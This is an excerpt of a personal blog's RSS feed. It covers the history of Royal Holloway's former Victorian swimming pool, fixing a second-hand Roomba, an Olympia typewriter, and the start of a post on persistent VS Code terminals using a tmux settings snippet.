srcset="https://george.honeywood.org.uk/blog/jane-holloway-hall/images/interior-1906_hu_2512130805ab0241.webp 320w, https://george.honeywood.org.uk/blog/jane-holloway-hall/images/interior-1906_hu_f183da201f88ccc2.webp 640w, https://george.honeywood.org.uk/blog/jane-holloway-hall/images/interior-1906_hu_ea3794881bbe50c.webp 960w, https://george.honeywood.org.uk/blog/jane-holloway-hall/images/interior-1906_hu_a8c4b69eab038804.webp 1280w"
sizes="(max-width: 600px) 100vw, 600px"
/&gt;
&lt;img
style=""
src='https://george.honeywood.org.uk/blog/jane-holloway-hall/images/interior-1906_hu_7c9835fd21eb2ef2.jpg'
width="2550"
height="1952"
loading="lazy"
alt='Jane Holloway Hall interior 2'
/&gt;
&lt;/picture&gt;
&lt;/a&gt;
&lt;figcaption&gt;
Jane Holloway Hall, 1906 (© Royal Holloway Archives, ref: &lt;a href="https://www.flickr.com/photos/rhularchives/3811874334"
target="_blank" rel="noreferrer noopener"
&gt;RHC PH/213/1&lt;/a&gt;)
&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;p&gt;I figured the best place to find this out would be the university archives. From the Student Room thread, I knew that the pool was removed at some point in the 1980s. A brief search of the online archive catalogue returned some results that seemed like they might be relevant.&lt;/p&gt;
&lt;p&gt;Here I have to thank the Archivist, who very helpfully identified magazines and other articles that referenced Jane Holloway Hall. As the documents are yet to be digitized, I had to book a visit to the archive reading room. This was the first time I have ever used an archive &amp;mdash; I&amp;rsquo;d strongly recommend the experience. It&amp;rsquo;s quite weird seeing the world from a perspective 40 years in the past.&lt;/p&gt;
&lt;figure&gt;
&lt;a href='https://george.honeywood.org.uk/blog/jane-holloway-hall/images/fortnight_hu_4a603e8be89031ee.webp'&gt;
&lt;picture&gt;
&lt;source
type="image/webp"
srcset="https://george.honeywood.org.uk/blog/jane-holloway-hall/images/fortnight_hu_4084b75249ba4755.webp 320w, https://george.honeywood.org.uk/blog/jane-holloway-hall/images/fortnight_hu_f90c0059f242eb0.webp 640w, https://george.honeywood.org.uk/blog/jane-holloway-hall/images/fortnight_hu_4102491e473e2ba9.webp 960w, https://george.honeywood.org.uk/blog/jane-holloway-hall/images/fortnight_hu_a223bbf2c2988503.webp 1280w"
sizes="(max-width: 600px) 100vw, 600px"
/&gt;
&lt;img
style=""
src='https://george.honeywood.org.uk/blog/jane-holloway-hall/images/fortnight_hu_46c02a0bcac9509b.jpg'
width="3269"
height="4624"
loading="lazy"
alt='Fortnight News Bulletin Edition 2'
/&gt;
&lt;/picture&gt;
&lt;/a&gt;
&lt;figcaption&gt;
Fortnight News Bulletin Edition 2 (© Royal Holloway Archives, ref: &lt;a href="http://185.121.204.135/archives/#/details/ecatalogue/9361"
target="_blank" rel="noreferrer noopener"
&gt;RHBNC/CM/Pubs/2/1/2&lt;/a&gt;)
&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;p&gt;Pretty soon I found my answer in the very 1980s Fortnight university &amp;ldquo;News Bulletin&amp;rdquo; &lt;sup id="fnref:3"&gt;&lt;a href="#fn:3" class="footnote-ref" role="doc-noteref"&gt;3&lt;/a&gt;&lt;/sup&gt;. I&amp;rsquo;ll include the text of the article here verbatim:&lt;/p&gt;
&lt;blockquote&gt;
&lt;h4 id="ignominious-end-for-victorian-swimming-pool"&gt;Ignominious end for Victorian swimming pool?&lt;/h4&gt;
&lt;figure&gt;
&lt;a href='https://george.honeywood.org.uk/blog/jane-holloway-hall/images/tree-damage_hu_aae5649bf86da97a.webp'&gt;
&lt;picture&gt;
&lt;source
type="image/webp"
srcset="https://george.honeywood.org.uk/blog/jane-holloway-hall/images/tree-damage_hu_274f40c41e7fa3cb.webp 320w, https://george.honeywood.org.uk/blog/jane-holloway-hall/images/tree-damage_hu_1cac1d87b34c3c51.webp 640w, https://george.honeywood.org.uk/blog/jane-holloway-hall/images/tree-damage_hu_9757a50ed00d1a96.webp 960w, https://george.honeywood.org.uk/blog/jane-holloway-hall/images/tree-damage_hu_a422e9216694126d.webp 1280w"
sizes="(max-width: 600px) 100vw, 600px"
/&gt;
&lt;img
style=""
src='https://george.honeywood.org.uk/blog/jane-holloway-hall/images/tree-damage_hu_b31fc183353e5e03.jpg'
width="3472"
height="2560"
loading="lazy"
alt='Tree damage to Jane Holloway Hall'
/&gt;
&lt;/picture&gt;
&lt;/a&gt;
&lt;/figure&gt;
&lt;p&gt;The indoor Victorian swimming pool at Royal Holloway is to remain unrepaired for the forseeable future. In 1981 it sustained considerable damage when a tree fell onto the roof of the building during a storm. Last January it was recommended by the Joint Standing Committee that the cost of repairing and modernizing the pool and the building, over £250,000, was too great to be considered at the present time. Even to have brought the pool up to working order for summer-time use only would have cost £100,000.&lt;/p&gt;
&lt;p&gt;The swimming pool, which is situtated to the south of the Founders building, requires considerable outside renovation, as well as reflooring and the renewal of electrical equipment. It was considered that as far as the funds available to be spent on sports facilities were concerned, the swimming pool could not be regarded as a priority. Hence the matter has been laid to rest for the time being.&lt;/p&gt;
&lt;p&gt;The swimming pool was built in 1893 and cost a &amp;lsquo;mere&amp;rsquo; £1,995 9s 2d. Originally the water used in the pool was taken from the boating pond, which lies further up the slope towards Founders, and was heated as it passed through the swimming pool boiler. The boating pond is fed by constant underground springs, which can refill it within 36 hours. The water which went into the pool was alleged to be always &amp;lsquo;clean and fresh&amp;rsquo; and the supply was sufficient for the pool to be refilled twice each week (on Thursdays and Saturdays). Since the water was fresh no maintenance work was required.&lt;/p&gt;
&lt;p&gt;In 1935 the College authorities commissioned a study to be carried out on the possible modernization of the swimming pool, and consequently the following year a complete overhaul was done and filtration plants were fitted. The College authorities were worried that chlorinated water would have an adverse effect on cattle which drank from another pond lower down the slope where the used water was deposited!&lt;/p&gt;
&lt;p&gt;The pool had originally been heated from a pipe off the main College heating system. Since it took 4 hours to clean the pool and 12 to 14 hours to refill, it was very expensive to maintain the heating supply.&lt;/p&gt;
&lt;p&gt;Indeed it had such a prejudicial effect on the central system that a coke filled boiler was installed. By 1949 16 tons of coke in total were used each year to run the boiler, and the cost of maintaining the pool came to £13 10d each week.&lt;/p&gt;
&lt;p&gt;The swimming pool remained in full use until 1981 when it was so badly damaged. Few students now remain at the College who have swum in the pool, and because the cost for repair will probably keep increasing it seems unlikely that the pool will ever be reopened for use. Since the state of the building is deteriorating and becoming dangerous, it might soon become expedient to demolish it. It is sad that such an historic building of the last century might come to such an ignominious end.&lt;/p&gt;
&lt;p&gt;GORDON BORELAND&lt;/p&gt;
&lt;p&gt;(Archive Research by Mr P J F Scott, Deputy Secretary)&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;TL;DR: a tree fell on the building in 1981. The required repairs and modernization would have cost £250,000 in 1983 (about £750,000 today). This seems to me to be a very reasonable sum to pay for repairs to a swimming pool &lt;sup id="fnref:4"&gt;&lt;a href="#fn:4" class="footnote-ref" role="doc-noteref"&gt;4&lt;/a&gt;&lt;/sup&gt;. Presumably the university must have been under some considerable financial strain at the time. This article was comprehensive, providing a full history of the building, and I am grateful to Gordon Boreland and Mr P J F Scott for writing it.&lt;/p&gt;
&lt;p&gt;After 1984 the basement of the building was used as the rock store for the Geology department. This continued until 1992, when it was realized that the damp conditions were causing &amp;ldquo;academically valuable&amp;rdquo; rock specimens to deteriorate &lt;sup id="fnref:5"&gt;&lt;a href="#fn:5" class="footnote-ref" role="doc-noteref"&gt;5&lt;/a&gt;&lt;/sup&gt;. By the centenary of the building, in 1993, it had finally been converted into a &amp;ldquo;multi-purpose flat-floored&amp;rdquo; hall &lt;sup id="fnref1:2"&gt;&lt;a href="#fn:2" class="footnote-ref" role="doc-noteref"&gt;2&lt;/a&gt;&lt;/sup&gt;. It was then used for lecturing and music rehearsals, with a seated capacity of 150.&lt;/p&gt;
&lt;p&gt;More recently in 2018, the building was once again modernized &amp;mdash; this time to become a space for group exercise, supplementing the relatively small on-campus gym &lt;sup id="fnref:6"&gt;&lt;a href="#fn:6" class="footnote-ref" role="doc-noteref"&gt;6&lt;/a&gt;&lt;/sup&gt;. The interior today is remarkably consistent with pictures from 1906, having retained the exposed brickwork and steel roof trusses, with the caveat that it is now sans swimming pool. The grade two listing should prevent any alterations that would significantly alter its character in the future.&lt;/p&gt;
&lt;p&gt;It would be quite amusing if it were to be converted back into a swimming pool one day. I&amp;rsquo;d be interested if anyone has more pictures of the building in use as a pool &amp;mdash; I&amp;rsquo;m sure there must be some between 1906 and when it was damaged in 1981.&lt;/p&gt;
&lt;div class="footnotes" role="doc-endnotes"&gt;
&lt;hr&gt;
&lt;ol&gt;
&lt;li id="fn:1"&gt;
&lt;p&gt;The Crown and You were filming recently, so I don&amp;rsquo;t have any sources (bar campus rumours). Royal Holloway has an &lt;a href="https://www.royalholloway.ac.uk/about-us/our-history/our-story/in-tv-and-film/"
target="_blank" rel="noreferrer noopener"
&gt;official page&lt;/a&gt; listing previous productions.&amp;#160;&lt;a href="#fnref:1" class="footnote-backref" role="doc-backlink"&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:2"&gt;
&lt;p&gt;See RHUL Archive ref &lt;a href="http://185.121.204.135/archives/#/details/ecatalogue/9947"
target="_blank" rel="noreferrer noopener"
&gt;HB/CM/Pubs/2/3/43&lt;/a&gt;.&amp;#160;&lt;a href="#fnref:2" class="footnote-backref" role="doc-backlink"&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&amp;#160;&lt;a href="#fnref1:2" class="footnote-backref" role="doc-backlink"&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:3"&gt;
&lt;p&gt;See RHUL Archive ref &lt;a href="http://185.121.204.135/archives/#/details/ecatalogue/9361"
target="_blank" rel="noreferrer noopener"
&gt;HB/CM/Pubs/2/1/2&lt;/a&gt;.&amp;#160;&lt;a href="#fnref:3" class="footnote-backref" role="doc-backlink"&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:4"&gt;
&lt;p&gt;&lt;a href="https://web.archive.org/web/20230214222905if_/https://watsonbatty.com/wp-content/uploads/2017/06/WBA-Sport-and-Leisure-2019-Final-Int-SML-1.pdf#page=7"
target="_blank" rel="noreferrer noopener"
&gt;According to the architect&lt;/a&gt;, the new-build Egham Orbit leisure centre cost £19 million in 2019, making the £750,000 repair seem pale in comparison.&amp;#160;&lt;a href="#fnref:4" class="footnote-backref" role="doc-backlink"&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:5"&gt;
&lt;p&gt;See RHUL Archive ref &lt;a href="http://185.121.204.135/archives/#/details/ecatalogue/10914"
target="_blank" rel="noreferrer noopener"
&gt;HB/CM/Pubs/2/3/28&lt;/a&gt;.&amp;#160;&lt;a href="#fnref:5" class="footnote-backref" role="doc-backlink"&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:6"&gt;
&lt;p&gt;See &lt;a href="https://web.archive.org/web/20210123225056/https://www.su.rhul.ac.uk/news/article/surhul/Blog-Gym-Now-In-Shape-After-Summer-Upgrades/"
target="_blank" rel="noreferrer noopener"
&gt;Gym Now In Shape After Summer Upgrade&lt;/a&gt; from the RHSU blog. Note the images are of the gym, not Jane Holloway Hall.&amp;#160;&lt;a href="#fnref:6" class="footnote-backref" role="doc-backlink"&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</description></item><item><title>The Roomba</title><link>https://george.honeywood.org.uk/blog/the-roomba/</link><pubDate>Tue, 17 Jan 2023 14:11:01 +0000</pubDate><guid>https://george.honeywood.org.uk/blog/the-roomba/</guid><description>&lt;p&gt;For Christmas one of my housemates got us a second-hand Roomba. I tried to not take this too personally. It came from Germany for the princely sum of £60, which got us the Roomba 555 from 2009.&lt;/p&gt;
&lt;figure&gt;
&lt;video
class="video-shortcode"
controls
muted
width="960"
height="720"
style="aspect-ratio: 960 / 720" &gt;
&lt;source src="https://george.honeywood.org.uk/blog/the-roomba/images/docking-960x720.mp4" type="video/mp4"&gt;
There should have been a video here, but your browser does not seem
to support it.
You can try visiting &lt;a href="https://george.honeywood.org.uk/blog/the-roomba/images/docking-960x720.mp4"&gt;/blog/the-roomba/images/docking-960x720.mp4&lt;/a&gt; instead.
&lt;/video&gt;
&lt;/figure&gt;
&lt;p&gt;Somewhat unsurprisingly, a 14-year-old Roomba is not the cleverest thing. I think this has made me like it more. I&amp;rsquo;ve zoomorphised it to some degree &amp;mdash; it has become our house pet, and is quite like owning an annoying cat. It seems to have two modes of operation; wall following and stochastic (random) bouncing about. This randomness is not particularly efficient.&lt;/p&gt;
&lt;p&gt;Unlike modern robot vacuums, it cannot build a map of its environment, and thus tends to cover some areas multiple times and others not at all. However, it being autonomous means you can just leave it to run, and eventually it will get the job done acceptably or run out of battery. It is quite fun to watch it slowly clean up the grub on your floor.&lt;/p&gt;
&lt;p&gt;In some ways I prefer it being a &lt;em&gt;vintage&lt;/em&gt; device as it doesn&amp;rsquo;t connect to Wi-Fi, or require a suspicious mobile app. You just press a button, or schedule a clean, and away it goes. When it runs low on battery it tries to dock automatically, but as the movement is random, it doesn&amp;rsquo;t always make it home before the battery goes flat.&lt;/p&gt;
&lt;p&gt;When it arrived, it was hilariously bad at vacuuming. It could suck up dust, but anything larger was completely ignored. After a while we figured out that the &amp;ldquo;beater bar&amp;rdquo; under it wasn&amp;rsquo;t spinning at all. Luckily, unlike almost any other consumer electronic device I&amp;rsquo;ve owned, repairing the Roomba was pretty easy. It is made up of a number of modules that can be individually replaced as needed. Even these modules can be trivially opened with a normal Phillips head screwdriver, and repaired yourself if you have the parts.&lt;/p&gt;
&lt;p&gt;In Roomba land, the beater bar is part of the &amp;ldquo;Cleaning Head Module&amp;rdquo;. Nothing seemed to be visibly wrong with it, so I had a look inside the gearbox. Other than managing to strip one of the screws through impatience, it was pretty simple to get in. Once I had it open, the problem became rather obvious.&lt;/p&gt;
&lt;figure&gt;
&lt;a href='https://george.honeywood.org.uk/blog/the-roomba/images/gearbox_hu_38be983d6dabc46f.webp'&gt;
&lt;picture&gt;
&lt;source
type="image/webp"
srcset="https://george.honeywood.org.uk/blog/the-roomba/images/gearbox_hu_8b65f003268b4e51.webp 320w, https://george.honeywood.org.uk/blog/the-roomba/images/gearbox_hu_c8334c353cfee3c9.webp 640w, https://george.honeywood.org.uk/blog/the-roomba/images/gearbox_hu_cc6399c24c608c6b.webp 960w, https://george.honeywood.org.uk/blog/the-roomba/images/gearbox_hu_3f6afb0a1ee38cd7.webp 1280w"
sizes="(max-width: 600px) 100vw, 600px"
/&gt;
&lt;img
style=""
src='https://george.honeywood.org.uk/blog/the-roomba/images/gearbox_hu_f8b85b3a1516f64f.jpg'
width="4191"
height="3147"
loading="lazy"
alt='A very dirty gearbox'
/&gt;
&lt;/picture&gt;
&lt;/a&gt;
&lt;/figure&gt;
&lt;p&gt;The gearbox was completely full of dust and hair. I&amp;rsquo;m not sure if this was a result of engineering oversight, or if it is just very difficult to seal a gearbox against 14 years of grime. This reminded me of a great &lt;a href="https://youtu.be/YhwthSaLgh4?t=1714"
target="_blank" rel="noreferrer noopener"
&gt;video by rctestflight&lt;/a&gt;, where he runs a selection of RC cars in circles for literal weeks to see how far they&amp;rsquo;ll go. Some of them eventually failed after the universal joints driving the wheels wore down, and in others the gearboxes wore out, as mud got in and ate away at the gears.&lt;/p&gt;
&lt;p&gt;The Roomba gearbox was broken in a slightly different fashion, as the gear connected to the motor had ended up wearing down so much it was slipping against the metal shaft. Presumably, if the gearbox had been cleaned at some point then it wouldn&amp;rsquo;t have built up such resistance and might still be working. Unfortunately I couldn&amp;rsquo;t replace the gears, as part of the gearbox housing had worn down to the point where there was so much play the gears didn&amp;rsquo;t mesh any more.&lt;/p&gt;
&lt;p&gt;Somewhat surprisingly, &lt;a href="https://www.irobot.co.uk/en_GB/enhanced-cleaning-head-for-roomba-500/600/700/21917.html"
target="_blank" rel="noreferrer noopener"
&gt;iRobot still sells spares&lt;/a&gt; for the Cleaning Head Module that fits this model. Presumably this is due to it being a standardized part used over a number of generations. I bought one to replace my broken one, and other than the £6.50 (!) shipping charge their website worked well.&lt;/p&gt;
&lt;p&gt;Annoyingly, immediately after this new part arrived, the Roomba stopped charging &amp;mdash; complaining of &lt;code&gt;Err5&lt;/code&gt;. I wasn&amp;rsquo;t sure if this was a problem with the charger or the battery, but I ended up replacing the battery with a 3rd party Ni-MH one from Amazon, which seemed to revive it. For these new parts I spent a total of £63.47 (£36.49 for the Cleaning Head and £26.98 for the battery), making the total spend about £120. This is significantly cheaper than the lowest end model iRobot currently sell, the &lt;a href="https://web.archive.org/web/20230117175042/https://www.irobot.co.uk/en_GB/irobot-roomba-692/R692040.html"
target="_blank" rel="noreferrer noopener"
&gt;Roomba® 698, on offer for £199.00&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Once I had installed the new parts, its cleaning performance improved dramatically. It can now pick up larger bits of dirt, and even gets fluffs and hairs up from the low pile carpets we have. One feature I am particularly fond of is &amp;ldquo;Dirt Detect&amp;rdquo;, which uses some kind of contact microphone in the Cleaning Head to detect dirty spots. When it finds one, it circles back and gives the area a second pass. It also has a &amp;ldquo;Spot&amp;rdquo; mode, where it cleans in concentric circles if you have a specific area that needs special attention.&lt;/p&gt;
&lt;figure&gt;
&lt;a href='https://george.honeywood.org.uk/blog/the-roomba/images/docked_hu_840999912e1c580b.webp'&gt;
&lt;picture&gt;
&lt;source
type="image/webp"
srcset="https://george.honeywood.org.uk/blog/the-roomba/images/docked_hu_e5dabf1df21e6728.webp 320w, https://george.honeywood.org.uk/blog/the-roomba/images/docked_hu_15f65de71ffb3672.webp 640w, https://george.honeywood.org.uk/blog/the-roomba/images/docked_hu_ba8b94a4afd8033c.webp 960w, https://george.honeywood.org.uk/blog/the-roomba/images/docked_hu_d473e13034d3d6df.webp 1280w"
sizes="(max-width: 600px) 100vw, 600px"
/&gt;
&lt;img
style=""
src='https://george.honeywood.org.uk/blog/the-roomba/images/docked_hu_880d1f70b13fda17.jpg'
width="4624"
height="3472"
loading="lazy"
alt='The Roomba docked and charging up'
/&gt;
&lt;/picture&gt;
&lt;/a&gt;
&lt;/figure&gt;
&lt;p&gt;I still need to replace the side brush on it. This is what would normally enable it to reach dirt that is close to the walls. For now, I have been manually brushing dirt into the middle of the floor, which you could argue defeats the point of a robot vacuum.&lt;/p&gt;</description></item><item><title>Olympia Traveller de Luxe</title><link>https://george.honeywood.org.uk/blog/olympia-traveller-de-luxe/</link><pubDate>Sat, 30 Apr 2022 15:49:05 +0000</pubDate><guid>https://george.honeywood.org.uk/blog/olympia-traveller-de-luxe/</guid><description>&lt;p&gt;I&amp;rsquo;ve become a bit obsessed with typewriters. This is an Olympia Traveller de Luxe. The term &amp;ldquo;traveler&amp;rdquo; is definitely relative &amp;mdash; it weighs about 5kg, and is quite the pain to carry.&lt;/p&gt;
&lt;figure&gt;
&lt;a href='https://george.honeywood.org.uk/blog/olympia-traveller-de-luxe/images/angle-wide_hu_d57e11383c3da42f.webp'&gt;
&lt;picture&gt;
&lt;source
type="image/webp"
srcset="https://george.honeywood.org.uk/blog/olympia-traveller-de-luxe/images/angle-wide_hu_baba8e58b9b04290.webp 320w, https://george.honeywood.org.uk/blog/olympia-traveller-de-luxe/images/angle-wide_hu_551c5299400ded80.webp 640w, https://george.honeywood.org.uk/blog/olympia-traveller-de-luxe/images/angle-wide_hu_a99950b8a3d5ebf.webp 960w, https://george.honeywood.org.uk/blog/olympia-traveller-de-luxe/images/angle-wide_hu_4a8b110d9b1f90bd.webp 1280w"
sizes="(max-width: 600px) 100vw, 600px"
/&gt;
&lt;img
style=""
src='https://george.honeywood.org.uk/blog/olympia-traveller-de-luxe/images/angle-wide_hu_89dee8b0c6a2afe2.jpg'
width="1500"
height="997"
alt='Wide angle'
/&gt;
&lt;/picture&gt;
&lt;/a&gt;
&lt;/figure&gt;
&lt;p&gt;Even though it is indisputably simpler than a modern laptop, the complexities of it seem more striking. It is packed with tiny linkages that all work in harmony to get the text on the page. Even the ink spools are more complicated than you might think. Each press of a key winds the ribbon a small amount from one spool to the other, and then once one side is exhausted, pressure builds on a pin that causes the mechanism to switch directions &amp;mdash; returning the ribbon to the other spool.&lt;/p&gt;
&lt;figure&gt;
&lt;a href='https://george.honeywood.org.uk/blog/olympia-traveller-de-luxe/images/top-no-case_hu_6b448f2728c930d2.webp'&gt;
&lt;picture&gt;
&lt;source
type="image/webp"
srcset="https://george.honeywood.org.uk/blog/olympia-traveller-de-luxe/images/top-no-case_hu_2b37133da1310c3e.webp 320w, https://george.honeywood.org.uk/blog/olympia-traveller-de-luxe/images/top-no-case_hu_a170583897d3c013.webp 640w, https://george.honeywood.org.uk/blog/olympia-traveller-de-luxe/images/top-no-case_hu_443192b5c362f32c.webp 960w, https://george.honeywood.org.uk/blog/olympia-traveller-de-luxe/images/top-no-case_hu_2d44f0d0e2c9c586.webp 1280w"
sizes="(max-width: 600px) 100vw, 600px"
/&gt;
&lt;img
style=""
src='https://george.honeywood.org.uk/blog/olympia-traveller-de-luxe/images/top-no-case_hu_fb0f92a7e53e1a3e.jpg'
width="1500"
height="997"
alt='Top down without case'
/&gt;
&lt;/picture&gt;
&lt;/a&gt;
&lt;/figure&gt;
&lt;p&gt;You can adjust the margins using two sliders behind the paper slot. When you are within about 8 characters of the end of the line a little bell dings, reminding you to return the carriage. It is sometimes a little awkward when you are in the middle of a particularly long word, but you can always -hyphenate anything that will not fit. If you feel like living life on the edge, you can override the margins, letting you fit those last couple of characters in.&lt;/p&gt;
&lt;p&gt;If you have a split color ribbon, you can swap colors using a little switch on the right. Personally I&amp;rsquo;ve never felt the need for anything over than black, but it is a nice option to have.&lt;/p&gt;
&lt;p&gt;Line spacing is configurable; you can pick from the rather cramped 1, the standard 1.5, or the roomy 2. You first return the carriage, then pushing further scrolls the new line in. You can also disable the line spacing, and freely spin the platen wheel to your hearts content. This is very useful for loading the paper into the typewriter.&lt;/p&gt;
&lt;p&gt;Making, or rather fixing mistakes, is quite the pain. The previous owner evidently used liquid correction fluid as the typewriter was liberally decorated with white spots when I first acquired it. Luckily some isopropyl alcohol made short work of removing it (and giving me a headache). I&amp;rsquo;ve had some success using a correction roller (like &lt;a href="https://www.amazon.co.uk/dp/B07FGNVT1R/"
target="_blank" rel="noreferrer noopener"
&gt;these&lt;/a&gt;), but it&amp;rsquo;s a pain to scroll the paper up and down to apply it. It is also very easy to apply too much or too little, as your hand and the applicator cover up what you are trying to correct. A method I&amp;rsquo;ve yet to try is using &lt;a href="https://web.archive.org/web/20190621183803/https://www.etsy.com/uk/listing/193351648/ko-rec-type-old-school-typewriter"
target="_blank" rel="noreferrer noopener"
&gt;correction tabs&lt;/a&gt;, which are little bits of plastic coated with white ink. You use them by backspacing over the offending character, then striking it again through the tab, whiting it out. I&amp;rsquo;ve put far too much thought into this, given I&amp;rsquo;m perfectly happy to just cross out my mistakes and just be mildly infuriated.&lt;/p&gt;
&lt;figure&gt;
&lt;a href='https://george.honeywood.org.uk/blog/olympia-traveller-de-luxe/images/close-hammers_hu_4439cc5ec02dfe55.webp'&gt;
&lt;picture&gt;
&lt;source
type="image/webp"
srcset="https://george.honeywood.org.uk/blog/olympia-traveller-de-luxe/images/close-hammers_hu_85208ada42c10f3a.webp 320w, https://george.honeywood.org.uk/blog/olympia-traveller-de-luxe/images/close-hammers_hu_9f56ddb4725cca8f.webp 640w, https://george.honeywood.org.uk/blog/olympia-traveller-de-luxe/images/close-hammers_hu_157481bd8be49515.webp 960w, https://george.honeywood.org.uk/blog/olympia-traveller-de-luxe/images/close-hammers_hu_143230a15fac9392.webp 1280w"
sizes="(max-width: 600px) 100vw, 600px"
/&gt;
&lt;img
style=""
src='https://george.honeywood.org.uk/blog/olympia-traveller-de-luxe/images/close-hammers_hu_f76361df5612775f.jpg'
width="1500"
height="997"
loading="lazy"
alt='View of the hammers'
/&gt;
&lt;/picture&gt;
&lt;/a&gt;
&lt;/figure&gt;
&lt;p&gt;One thing that strikes me as particularly ingenious is how the shift works. There are two characters on each striker, with the bottoms being lowercase, and the tops uppercase. Pressing the shift keys physically &amp;ldquo;shifts&amp;rdquo; the carriage up, meaning the top of the hammer strikes the paper. Instead of having a &amp;ldquo;Caps Lock&amp;rdquo; key like we&amp;rsquo;d expect today, you have a &amp;ldquo;Shift Lock&amp;rdquo;, meaning that you can&amp;rsquo;t type any characters from the bottom half of the strikers, like numbers and most punctuation without unlocking the shift first.&lt;/p&gt;
&lt;p&gt;You have to be careful to keep the force that you use to press the keys fairly consistent, as otherwise you get some characters that are light and others that are too bold. There is an adjustable switch under the cover that supposedly lets you adjust the force, but in my experience it seems to make little difference &amp;ndash; you have to press quite hard and sharp whatever position it is in.&lt;/p&gt;
&lt;figure&gt;
&lt;a href='https://george.honeywood.org.uk/blog/olympia-traveller-de-luxe/images/text_hu_4fee4c69b2f9057a.webp'&gt;
&lt;picture&gt;
&lt;source
type="image/webp"
srcset="https://george.honeywood.org.uk/blog/olympia-traveller-de-luxe/images/text_hu_5c7ec25668fa2417.webp 320w, https://george.honeywood.org.uk/blog/olympia-traveller-de-luxe/images/text_hu_45767b3b9a9ada61.webp 640w, https://george.honeywood.org.uk/blog/olympia-traveller-de-luxe/images/text_hu_41d4ab9121d25ba6.webp 960w, https://george.honeywood.org.uk/blog/olympia-traveller-de-luxe/images/text_hu_1ac15c44210b768e.webp 1280w"
sizes="(max-width: 600px) 100vw, 600px"
/&gt;
&lt;img
style=""
src='https://george.honeywood.org.uk/blog/olympia-traveller-de-luxe/images/text_hu_93900c1841319c2b.jpg'
width="1500"
height="997"
loading="lazy"
alt='Some typed text'
/&gt;
&lt;/picture&gt;
&lt;/a&gt;
&lt;/figure&gt;
&lt;p&gt;In addition to removing the blobs of correction fluid, I also had to clean quite a lot of residual dried ink off the hammers. This presumably just builds up over time with usage, and was quite difficult to remove. I had good luck with a couple of cocktail sticks that were just about small enough to get the dirt out the middle of the &amp;ldquo;e&amp;rdquo;. Doing this greatly improved the evenness and overall legibility of the text.&lt;/p&gt;</description></item><item><title>Persistent terminals in VS Code with tmux</title><link>https://george.honeywood.org.uk/blog/vs-code-and-tmux/</link><pubDate>Sat, 12 Mar 2022 21:33:01 +0000</pubDate><guid>https://george.honeywood.org.uk/blog/vs-code-and-tmux/</guid><description>&lt;p&gt;Since I&amp;rsquo;ve started using &lt;a href="https://george.honeywood.org.uk/blog/vs-code-over-ssh/"
&gt;VS Code over SSH&lt;/a&gt;,
I&amp;rsquo;ve encountered the slight irritation that the session will drop when I suspend my laptop.
This is to be expected, as the underlying TCP connection can&amp;rsquo;t survive without regular keepalives.
Restarting the remote session means that I lose the integrated terminals that I have open,
meaning I have to go through and type out &lt;code&gt;yarn dev&lt;/code&gt; or &lt;code&gt;go run&lt;/code&gt; again.
What is particularly annoying is that the previously running programs will continue in the background,
so I have to go and manually kill them before I can work again.&lt;/p&gt;
&lt;p&gt;The standard way to work around these sorts of problems is to use a terminal multiplexer,
such as the venerable &lt;a href="https://www.gnu.org/software/screen/"
target="_blank" rel="noreferrer noopener"
&gt;GNU Screen&lt;/a&gt;,
or the slightly more modern &lt;a href="https://github.com/tmux/tmux"
target="_blank" rel="noreferrer noopener"
&gt;tmux&lt;/a&gt;.
A terminal multiplexer is a program that allows you to open multiple terminals in one window,
and will persist these sessions even if your SSH connection drops.
I&amp;rsquo;ve previously used these for things like running game servers&lt;sup id="fnref:1"&gt;&lt;a href="#fn:1" class="footnote-ref" role="doc-noteref"&gt;1&lt;/a&gt;&lt;/sup&gt;,
and they also work great with VS Code
&amp;ndash; meaning you are able to restart your VS Code session,
and all your terminals will be in the same state.&lt;/p&gt;
&lt;p&gt;You can set up VS Code to use a custom command to open a new terminal window.
Here is what I have in my &lt;code&gt;settings.json&lt;/code&gt; file:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-json" data-lang="json"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;{
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;#34;terminal.integrated.profiles.linux&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;#34;bash&amp;#34;&lt;/span&gt;: &lt;span style="color:#66d9ef"&gt;null&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;#34;tmux&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;#34;path&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;bash&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;#34;args&amp;#34;&lt;/span&gt;: [&lt;span style="color:#e6db74"&gt;&amp;#34;-c&amp;#34;&lt;/span&gt;, &lt;span style="color:#e6db74"&gt;&amp;#34;tmux new -ADs ${PWD##*/}&amp;#34;&lt;/span&gt;],
